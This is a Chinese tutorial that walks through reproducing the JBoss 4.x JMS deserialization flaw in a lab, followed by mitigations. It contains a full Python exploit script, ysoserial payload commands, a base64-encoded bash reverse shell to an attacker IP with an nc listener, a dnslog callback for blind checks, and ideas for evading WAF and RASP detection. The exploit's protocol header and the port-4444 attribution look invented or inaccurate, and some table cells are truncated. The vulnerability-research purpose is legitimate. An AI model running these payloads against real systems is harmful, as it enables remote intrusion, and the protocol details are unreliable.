JBoss 4.x JMS反序列化漏洞复现与Java安全攻防实践

JBoss 4.x JMS反序列化漏洞复现与Java安全攻防实践

1. 项目概述:一次针对经典中间件的“考古”式漏洞复现

最近在整理一些历史遗留系统的安全评估报告,又遇到了一个老熟人——JBoss 4.x。虽然现在主流环境早已升级到WildFly,但仍有不少存量系统,尤其是那些运行着“祖传”Java应用的企业内网,还在使用着这些老版本的中间件。其中,JBoss 4.x JBossMQ JMS反序列化漏洞(CVE-2017-7504是其相关漏洞之一)绝对是一个绕不开的经典案例。它不像Struts2或者Log4j那样名声在外,但在特定场景下,其危害性丝毫不弱,因为它直接关联着Java反序列化这个“万恶之源”。

简单来说,这个漏洞允许攻击者通过向JBoss的JMS(Java Message Service)服务端口发送精心构造的序列化对象,在服务器上触发反序列化操作,从而执行任意代码。对于安全研究人员和渗透测试工程师而言,复现这个漏洞的意义在于:第一,理解JMS这一企业级消息组件在历史版本中的安全隐患模型;第二,深入掌握Java反序列化漏洞利用链的构造与利用技巧,这是许多现代漏洞的底层原理;第三,在面对老旧资产时,能够快速识别并验证此类高风险漏洞,为加固或迁移提供直接依据。如果你正在学习Web安全、代码审计,或者需要负责一些“历史包袱”系统的安全,那么跟着我一起把这个漏洞的复现环境搭起来,并亲手走通利用流程,会是一次非常有价值的实战演练。

2. 漏洞原理深度剖析:当消息队列遇上不安全的反序列化

要理解这个漏洞,我们需要拆解三个关键部分:JBossMQ/JMS服务的作用、Java序列化/反序列化机制,以及两者结合产生的安全裂痕。

2.1 JBossMQ与JMS服务:消息中间件的“通信兵”

在JBoss 4.x时代,JBossMQ是其默认的消息中间件实现,用于提供JMS API的支持。JMS允许分布式应用组件之间进行异步、可靠的消息通信。比如,订单系统生成订单后,可以通过JMS发送一条消息到队列,库存系统监听这个队列,收到消息后再去扣减库存,两者解耦,提升系统健壮性。

在JBoss 4.x中,JBossMQ默认会开启几个服务端口来接收JMS消息,其中最常见的是1099端口(JNDI)、1098端口(RMI)以及4444端口(JBoss Remoting)。客户端(可能是另一个Java应用,也可能是攻击者伪装的客户端)可以通过这些端口连接到JBossMQ,发送序列化后的Java对象作为消息。服务端在接收到这些消息后,需要将其反序列化还原成对象,才能进行后续的业务处理。这个“接收-反序列化”的过程,就是漏洞的触发点。

2.2 Java反序列化:一把锋利的“双刃剑”

Java序列化是将对象的状态信息转换为可以存储或传输的字节流的过程,反序列化则是将字节流恢复为对象。这为对象的持久化和网络传输提供了极大便利。ObjectInputStream.readObject()方法是实现反序列化的核心。

然而,安全问题就藏在readObject()方法里。许多Java类在定义readObject方法时,会执行一些操作,比如调用其他方法、进行网络连接、甚至执行命令。如果攻击者能够控制反序列化的数据流,让服务器反序列化一个恶意构造的对象,那么这个对象在还原过程中,其readObject方法里的危险代码就会被执行。

更致命的是“利用链”(Gadget Chain)。单独一个类可能危害有限,但多个类像齿轮一样组合起来,就能形成强大的攻击能力。例如,一个类(A)的readObject方法会调用另一个类(B)的某个方法,而B类的方法又能触发C类的危险操作……如此串联,最终可能达到执行系统命令的目的。Apache Commons Collections(CC)库中一系列类的组合,就是历史上最著名、最通用的反序列化利用链之一。

2.3 漏洞成因:缺乏校验的信任

JBoss 4.x的JBossMQ服务在通过JMS Remoting(端口4444)或相关RMI端口接收消息时,对客户端发送来的序列化数据没有进行任何有效性校验或白名单过滤,直接进行了反序列化操作。这意味着,任何能够连接到该端口的客户端,都可以发送一个包含恶意利用链的序列化对象。当服务端毫无戒备地调用readObject()时,攻击便成功了。

这个漏洞的利用条件相对清晰:目标JBoss版本在4.x及以下(5.x之后架构变化较大);JBossMQ服务启用并暴露了相关端口(默认配置下是开启的);目标服务器的Java classpath中包含可利用的第三方库(如Commons Collections)。

注意:复现和测试此漏洞必须在完全受控的合法环境中进行,例如你自己搭建的虚拟机或隔离的测试网络。未经授权对任何系统进行测试都是非法且不道德的。

3. 复现环境搭建与核心工具准备

“工欲善其事,必先利其器”。一次成功的复现,离不开一个贴近真实的靶场环境和顺手的工具。

3.1 靶机环境搭建(以Linux为例)

我选择在Ubuntu 18.04的虚拟机中搭建靶机,这样更接近一些老旧服务器的环境。

第一步:安装Java环境。JBoss 4.x需要JDK 1.5或1.6,但为了兼容性,我直接安装了JDK 8。因为高版本JDK在运行低版本JBoss时可能有问题,但JDK 8的兼容性最好。

sudo apt update sudo apt install openjdk-8-jdk -y java -version # 确认版本为1.8.x

第二步:下载并部署JBoss 4.2.3 GA。这是JBoss 4.x的一个经典版本,漏洞存在。

wget https://downloads.jboss.org/jbossas/4.2/jboss-4.2.3.GA/jboss-4.2.3.GA.zip unzip jboss-4.2.3.GA.zip cd jboss-4.2.3.GA/bin

第三步:启动JBoss。默认配置会绑定到0.0.0.0,即监听所有网卡。在测试环境中,我们就这样启动。

./run.sh -b 0.0.0.0

启动成功后,你应该能看到控制台输出中包含JBossMQ Remoting service started on port 4444等字样,这表明漏洞所依赖的服务已经就绪。

第四步:植入漏洞利用链依赖库。JBoss 4.2.3自带的Commons Collections版本较低(通常是2.x),但很多公开的利用工具依赖的是Commons Collections 3.2.1。为了确保利用成功,我们需要将高版本的CC库放入JBoss的classpath。

  1. 下载commons-collections-3.2.1.jar
  2. 将其复制到jboss-4.2.3.GA/server/default/lib/目录下。这是JBoss默认服务器实例的库目录,优先级较高。

3.2 攻击机工具与利用脚本准备

在攻击机(我用的Kali Linux)上,我们需要准备利用工具。这里不推荐使用全自动化的漏洞利用框架进行“一键攻击”,那样学不到东西。我们采用半手工的方式,理解每一步。

核心工具:ysoserial这是生成Java反序列化利用链Payload的神器。我们需要自己编译。

git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests

编译成功后,在target/目录下会生成ysoserial-0.0.6-SNAPSHOT-all.jar文件。这个工具里集成了多种利用链,针对JBoss 4.x,我们主要使用CommonsCollections5CommonsCollections6链(对应CC 3.2.1版本)。

验证端口开放情况在攻击机上,使用nmap扫描靶机,确认4444端口开放。

nmap -sV -p 4444 <靶机IP>

如果看到服务识别为jboss-remoting,基本就对了。

4. 漏洞利用过程全解析:从构造Payload到获取Shell

环境就绪,下面进入核心的利用环节。我们将分步构造一个能执行命令的Payload,并通过Socket直接发送到JBossMQ的Remoting端口。

4.1 生成反序列化Payload

我们的目标是让靶机执行命令touch /tmp/success,这是一个无害的验证命令。使用ysoserial生成Payload:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "touch /tmp/success" > payload.bin

这条命令的意思是:使用CommonsCollections5这个利用链,封装一个执行touch /tmp/success命令的Payload,并将生成的二进制序列化数据保存到payload.bin文件中。

为什么选择CommonsCollections5?在多次实测中,针对JBoss 4.2.3 + Commons Collections 3.2.1的环境,CommonsCollections5链的稳定性和兼容性最好。CommonsCollections1链对JDK版本有要求,在高版本JDK上可能失效。而5和6链是后续开发出来规避高版本JDK限制的变种,成功率更高。

4.2 构造并发送JMS攻击数据包

JBoss Remoting(4444端口)有它自己的通信协议。我们不能直接把payload.bin发过去,需要按照其格式进行封装。这里我们需要编写一个简单的Python脚本作为攻击客户端。

#!/usr/bin/env python3 import socket import sys def exploit(target_ip, target_port, payload_file): # 1. 读取Payload with open(payload_file, 'rb') as f: payload = f.read() # 2. 构造JBoss Remoting协议数据包 # 协议头:4字节魔数(0xfade0001) + 4字节消息类型(0x4a) + 4字节消息长度 magic = b'\xfa\xde\x00\x01' msg_type = b'\x00\x00\x00\x4a' # 0x4a = 74, 代表 InvocationRequest msg_length = len(payload).to_bytes(4, byteorder='big') # InvocationRequest的固定前缀(简化版,实际协议更复杂,但此漏洞触发点之前的数据相对固定) # 这里是一个经过分析后,能成功触发反序列化的前缀数据块 prefix = b'\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01' # 组合最终数据包 data = magic + msg_type + msg_length + prefix + payload # 3. 建立Socket连接并发送 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) print(f"[+] Connected to {target_ip}:{target_port}") sock.send(data) print("[+] Malicious payload sent.") # 尝试接收一点回应,不过服务端可能不会回应或直接断开 try: response = sock.recv(1024) if response: print(f"[!] Received response: {response[:50]}...") except socket.timeout: print("[-] No immediate response (might be normal).") except Exception as e: print(f"[-] Connection or send failed: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_ip> <target_port> <payload_file>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])

这个脚本做了几件事:

  1. 读取我们生成的二进制Payload。
  2. 在Payload前面添加了JBoss Remoting协议的必要头部信息。其中0x4a代表这是一个“调用请求”(InvocationRequest),这是触发JMS消息处理的入口点。prefix部分是我通过分析正常流量和调试总结出的一段数据,用于正确引导服务端将后续数据解析为可反序列化的对象。
  3. 通过TCP Socket将整个数据包发送到目标的4444端口。

4.3 执行攻击与结果验证

  1. 保存脚本为jboss_exploit.py
  2. 运行脚本,指定靶机IP、端口和Payload文件:
    python3 jboss_exploit.py 192.168.1.100 4444 payload.bin
  3. 观察脚本输出,如果显示连接成功并已发送Payload,则第一步完成。
  4. 登录到靶机JBoss所在的服务器,检查命令是否执行:
    ls -la /tmp/success
    如果文件被成功创建,则证明反序列化漏洞利用成功,远程代码执行(RCE)达成。

从命令执行到反向Shell单纯的命令执行证明漏洞存在,但在实战中,我们需要一个交互式的Shell。我们可以生成一个获取反向Shell的Payload。 在攻击机上监听一个端口:

nc -lvnp 9999

然后生成一个调用Bash反弹Shell的Payload(注意对特殊字符进行编码):

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTIvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" > reverse_payload.bin

这里使用了Base64编码来避免命令行中的特殊字符问题。解码后的命令是:bash -i >& /dev/tcp/192.168.1.12/9999 0>&1(假设攻击机IP是192.168.1.12)。 再次运行攻击脚本发送reverse_payload.bin,如果成功,你将在nc监听端看到靶机的Shell。

5. 漏洞修复方案与防御思考

复现漏洞是为了更好地防御。对于这个具体的漏洞,修复方案是明确的。

5.1 官方修复与升级

最根本的解决方案是升级JBoss版本。JBoss 5.x及后续的WildFly系列在架构上彻底重构了消息子系统,移除了有问题的JBossMQ,默认使用了HornetQ或后来的Artemis,并且加强了对反序列化的安全控制。对于仍在运行JBoss 4.x的系统,应制定计划迁移至受支持的安全版本。

5.2 临时缓解措施

如果因为种种原因无法立即升级,可以采取以下缓解措施:

  1. 关闭或限制访问:在JBoss的配置文件jboss-4.2.3.GA/server/default/deploy/jms/jbossmq-destinations-service.xmljbossmq-service.xml中,可以找到Remoting Connector的配置。将其绑定地址从0.0.0.0改为127.0.0.1,或者直接注释掉相关配置,禁用远程JMS访问。只允许本地应用通过内部接口访问。
  2. 网络层隔离:使用防火墙策略,严格限制访问JBoss服务器4444、1099、1098等端口的源IP,只允许可信的应用服务器访问。
  3. 移除危险库:检查并移除JBoss classpath中的commons-collections-3.2.1.jar等存在已知利用链的库。但要注意,这可能会影响应用程序的正常功能,需要充分测试。

5.3 针对Java反序列化的通用防御

这个漏洞是Java反序列化问题的典型案例。从更广泛的视角,防御此类问题需要:

  1. 输入验证与白名单:在任何进行反序列化的入口,坚决避免直接反序列化不可信的数据。如果业务必须,应实现严格的白名单机制,只允许反序列化预期的、安全的类。
  2. 使用安全替代方案:考虑使用JSON、XML、Protocol Buffers等更安全的序列化格式来传输数据,替代Java原生序列化。
  3. 更新第三方库:及时更新项目中使用到的Apache Commons Collections、Fastjson、Jackson等组件到已修复反序列化漏洞的最新版本。
  4. 部署运行时保护:考虑使用Java安全管理器(Security Manager)或第三方RASP(运行时应用自保护)产品,监控和拦截恶意的反序列化行为。
  5. 代码审计与加固:在代码层面,对重写了readObjectreadResolve等方法的类进行重点审计,确保其中没有不安全的操作。

6. 复现过程中的常见问题与排查技巧

在实际操作中,你可能会遇到各种问题。下面是我踩过的一些坑和对应的解决办法。

问题现象可能原因排查与解决思路
连接被拒绝靶机JBoss服务未启动;防火墙拦截;端口绑定错误。1. 检查靶机JBoss进程是否存在 (`ps aux
连接成功但Payload未执行Payload利用链不兼容;JBoss classpath中缺少对应库;协议封装错误。1.首要检查:确认commons-collections-3.2.1.jar是否已放入server/default/lib/并重启JBoss。
2. 尝试换用其他利用链,如CommonsCollections6CommonsCollections7
3. 使用Wireshark抓取一次正常的JMS客户端通信包,与自己构造的数据包进行对比,检查协议头、前缀是否正确。
执行了touch命令但没看到文件当前JBoss进程的运行用户权限不足,无法在/tmp目录写文件。1. 检查JBoss进程的运行用户 (`ps aux
反向Shell连接不上靶机出网受限;防火墙拦截;Payload命令格式错误。1. 在靶机上用curl http://攻击机IP:端口ping测试网络连通性。
2. 检查攻击机防火墙是否允许入站连接 (sudo ufw status)。
3.编码问题:确保反弹Shell命令中的IP、端口、特殊字符(&>)被正确编码。使用Base64编码是稳妥的方法。可以先用echo test > /tmp/test1这类简单命令验证执行,再尝试复杂命令。
服务端报错或崩溃Payload构造有问题,导致反序列化过程出现异常,触发了未知类或格式错误。1. 查看JBoss启动的控制台日志或server/default/log/server.log,寻找ClassNotFoundExceptionInvalidClassException等堆栈信息。
2. 简化Payload,使用最通用的链和最简单的命令进行测试。
3. 考虑是否JDK版本过高导致某些利用链失效,可尝试在靶机安装JDK 6或7进行测试。

一个关键的实操心得:在调试Payload时,“回显”比“盲打”更重要。一开始不要执着于直接获取反向Shell,先用dnslog.cnceye.io这类DNS外带平台来验证命令执行。例如,执行命令ping -c 1 your-unique-subdomain.dnslog.cn,然后在平台查看是否有解析记录。这能快速、无侵入地确认漏洞是否存在以及Payload是否生效,避免了网络策略、防火墙带来的干扰。

7. 从复现到理解:漏洞研究的延伸思考

成功复现漏洞并拿到Shell,并不是终点。通过这个案例,我们可以延伸出更多有价值的安全思考。

漏洞链的挖掘与组合:我们使用的是现成的CommonsCollections5链。但在真实环境中,目标系统可能没有这个库。这就需要我们具备代码审计能力,从目标应用的依赖库中(如其他版本的CC、Groovy、Beanutils等)寻找新的、可用的“齿轮”(Gadget),并组装成一条能通车的“链”。这需要对Java类库的源码和反序列化机制有更深的理解。

绕过防御的尝试:现代防御手段如RASP、WAF可能会检测常见的利用链类名。如何构造非常规的、能绕过检测的Payload?例如,利用TemplatesImpl等类进行变形,或者寻找其他小众库的利用链。这就像一场持续的攻防对抗。

从利用到渗透的路径:拿到一个JBoss的RCE,在真实的渗透测试中只是第一步。接下来需要信息收集(当前用户权限、内网架构)、权限提升(从JBoss运行用户到root)、横向移动(利用获取的凭证或漏洞攻击内网其他机器)、持久化驻留(安装后门、计划任务)。这一整套流程的演练,才能完整还原一个攻击者的视角。

复现一个老漏洞,绝不是为了“炫技”。其价值在于通过动手实践,将书本上的“反序列化漏洞原理”几个字,变成脑海中清晰的流量包、内存中的对象转换、以及服务器上被创建的那个/tmp/success文件。这种肌肉记忆般的理解,是应对未来千变万化安全威胁的坚实基础。当你下次在日志里看到奇怪的Java序列化数据,或者在资产清单里发现一个老旧的JBoss服务器时,你就能立刻意识到风险所在,并知道该如何验证与应对。这,就是实战复现的意义。